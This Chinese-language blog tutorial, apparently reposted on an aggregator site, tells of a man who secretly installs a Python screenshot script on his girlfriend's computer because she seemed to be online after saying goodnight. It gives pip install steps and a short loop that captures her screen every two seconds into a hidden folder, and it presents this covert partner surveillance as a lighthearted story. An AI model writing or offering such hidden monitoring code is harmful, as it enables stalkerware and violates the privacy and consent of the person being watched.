女友晚安之后依然在线:python男友用20行代码写了个小工具
2021/7/9 14:07:21
本文主要是介绍女友晚安之后依然在线:python男友用20行代码写了个小工具,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
大家好,我是Lex 喜欢欺负超人那个Lex
擅长领域:python开发、网络安全***、Windows域控Exchange架构
今日重点:python用20代码实现录屏功能
代码干货满满,建议收藏+实操!!!有问题及需要,请留言哦~~
事情是这样的
python小哥哥发现女朋友,最近总是很忙的样子
晚上,匆匆忙忙道过晚安就不说话了
可是,QQ头像却会偶尔亮起来
小哥哥非常担心,是不是账号被盗了呢
然后,就想帮女朋友排查一下
所以就用python写了一个录制脚本,悄悄装在女友电脑上
模块安装
首先,我们需要用到两个python的两个模块,win32gui和PyQt5
- pip install win32gui
- pip install PyQt5
1、pip install win32gui PS C:\Users\lex\Desktop> pip install win32gui Looking in indexes: http://mirrors.aliyun.com/pypi/simple Requirement already satisfied: win32gui in f:\develop\python36\lib\site-packages (221.6) Requirement already satisfied: win32core in f:\develop\python36\lib\site-packages (from win32gui) (221.36) 2、pip install PyQt5 PS C:\Users\lex\Desktop> pip install PyQt5 Looking in indexes: http://mirrors.aliyun.com/pypi/simple Requirement already satisfied: PyQt5 in f:\develop\python36\lib\site-packages (5.15.4) Requirement already satisfied: PyQt5-sip<13,>=12.8 in f:\develop\python36\lib\site-packages (from PyQt5) (12.8.1) Requirement already satisfied: PyQt5-Qt5>=5.15 in f:\develop\python36\lib\site-packages (from PyQt5) (5.15.2) PS C:\Users\lex\Desktop>
设计思路
1、通过win32gui模块,调用windows系统的截屏功能,对屏幕进行录制。
2、通过timer定时器,实现每隔2秒钟,截屏一次,从而记录屏幕使用者的操作记录。
3、对截取的屏幕按照 截取时间进行命名,并存储到一个比较隐秘的文件夹路径中。
这样,我们通过,查看文件夹中的照片,就可以清晰的掌握 不明登陆者,在电脑上进行了什么样的操作。
代码实现
只需要简简单单10多行代码,就可以实现对windows系统电脑屏幕的录制。
代码如下:
#定义函数,每个2秒 抓取一次屏幕截屏 def timer(n): while True: dt= time.strftime('%Y-%m-%d %H%M%S',time.localtime()) screen = QApplication.primaryScreen() img = screen.grabWindow(record).toImage() img.save("D:\\images\\"+dt+".jpg") time.sleep(n) if __name__ == "__main__": timer(2)
运行方法
1、python环境检查
命令行运行 python,查看python版本为3.6.5
PS C:\Users\lex\Desktop> python Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>>
2、程序运行
命令行运行 python py-screen.py 即可,效果如下图:
完整代码
故事结尾
最后,看了一下电脑截图
原来只是在直播而已
还好还好,python小哥哥终于可以放心的睡了
这篇关于女友晚安之后依然在线:python男友用20行代码写了个小工具的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-21Python编程基础教程
- 2024-11-20Python编程基础与实践
- 2024-11-20Python编程基础与高级应用
- 2024-11-19Python 基础编程教程
- 2024-11-19Python基础入门教程
- 2024-11-17在FastAPI项目中添加一个生产级别的数据库——本地环境搭建指南
- 2024-11-16`PyMuPDF4LLM`:提取PDF数据的神器
- 2024-11-16四种数据科学Web界面框架快速对比:Rio、Reflex、Streamlit和Plotly Dash
- 2024-11-14获取参数学习:Python编程入门教程
- 2024-11-14Python编程基础入门